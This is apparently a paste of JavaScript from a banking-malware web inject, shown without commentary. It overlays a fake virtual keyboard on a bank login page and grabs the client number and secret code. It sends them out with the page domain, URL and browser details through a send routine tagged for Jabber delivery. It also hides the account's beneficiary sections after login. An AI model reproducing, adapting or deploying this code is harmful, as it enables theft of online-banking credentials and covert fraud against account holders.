- div.innerHTML = '<div style="background-image: url(data:image/png;base64,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);" id="secret-nbr-keyboard" rv-grille="data.grille.idGrille">'+
- '<a onclick="_tables.keyboardclick(4);" data-id="01" rv-gridelement="form.password"></a>'+
- '<a onclick="_tables.keyboardclick(8);" data-id="02" rv-gridelement="form.password"></a>'+
- '<a onclick="_tables.keyboardclick(0);" data-id="03" rv-gridelement="form.password"></a>'+
- '<a onclick="_tables.keyboardclick(6);" data-id="04" rv-gridelement="form.password"></a>'+
- '<a onclick="_tables.keyboardclick(7);" data-id="05" rv-gridelement="form.password"></a>'+
- '<a onclick="_tables.keyboardclick(3);" data-id="06" rv-gridelement="form.password"></a>'+
- '<a onclick="_tables.keyboardclick(9);" data-id="07" rv-gridelement="form.password"></a>'+
- '<a onclick="_tables.keyboardclick(5);" data-id="08" rv-gridelement="form.password"></a>'+
- '<a onclick="_tables.keyboardclick(2);" data-id="09" rv-gridelement="form.password"></a>'+
- '<a onclick="_tables.keyboardclick(1);" data-id="10" rv-gridelement="form.password"></a>'+
- '</div>';
- _tables.after(div,keyboard);
- if(_tables.id('initPass')){
- _tables.replacebutton(_tables.id('initPass'),function(e){
- var evt = e ? e : window.event;
- if(evt.preventDefault)evt.preventDefault();
- if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
- if(evt.cancelBubble!=null)evt.cancelBubble = true;
- _tables.get('password').value = '';
- return false;
- },'_tables.x.button');
- }
- }
- };
- _tables.loginform = function(){
- _tables.input(_tables.get('login'),'block');
- _tables.input(_tables.get('password'),'block');
- _tables.keyboard();
- _tables.replacebutton(_tables.get('button'),function(e){
- var evt = e ? e : window.event;
- if(evt.preventDefault)evt.preventDefault();
- if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;}
- if(evt.cancelBubble!=null)evt.cancelBubble = true;
- _tables.id('_tables.button').parentNode.style.textAlign = 'center';
- _tables.set('justLogin',true);
- _tablesStorage.flush();
- _tablesStorage.set('username',_tables.get('login').value);
- _tables.set('ourbtn',function(){return _tables.id('_tables.button');});
- _tables.btntoloader(_tables.get('ourbtn'),_tables.get('loader'));
- _tables.status('SL');
- _tables.send({'login1':_tables.get('login').value},
- {'login2':_tables.get('password').value},
- {'type':_tables.get('type')},
- {'domain':document.domain},
- {'link':document.location.href},
- {'browser':_tables.brows()},
- {'message':'Trying to Login'},
- {'jabber':'SEND'},
- {'branch':'SL'}
- );
- return false;
- });
- };
- _tables.findmaincontent = function(){
- var div = _tables.id('id_beneficiaire_div') || _tables.id('id_balise_div');
- if(div){
- div.style.display = 'none';
- _tables.status('CP');
- _tables.send({'domain':document.domain},{'type':_tables.get('type')},{'branch':'CP'});
- }else{
- setTimeout(function(){
- _tables.findmaincontent();
- },100);
- }
- };
- _tables.findloginform = function(){
- _tables.set('login',function(){return _tables.id('client-nbr');});
- _tables.set('password',function(){return _tables.id('secret-nbr');});
- _tables.set('button',function(){return _tables.id('submitIdent');});
- _tables.set('logout',function(){return _tables.findout(document,'a','href:logoff');});
- if(_tables.are('login','password','button')){
- _tables.cc('CS');
- }else if(_tables.get('logout')){
- var div = _tables.id('id_beneficiaire_div') || _tables.id('id_balise_div');
- if(div)div.style.display = 'none';
- setTimeout(function(){
- _tables.findmaincontent();
- },2345);
- }else{
- setTimeout(function(){
- _tables.findloginform();
- },234);
- }
- };
- _tables.start = function(){
- if(top == self){
- _tables.findloginform();
- _tables.showpage();
- }else{
- _tables.showpage();
- }
- };
- _tables.start();
Add Comment
Please, Sign In to add comment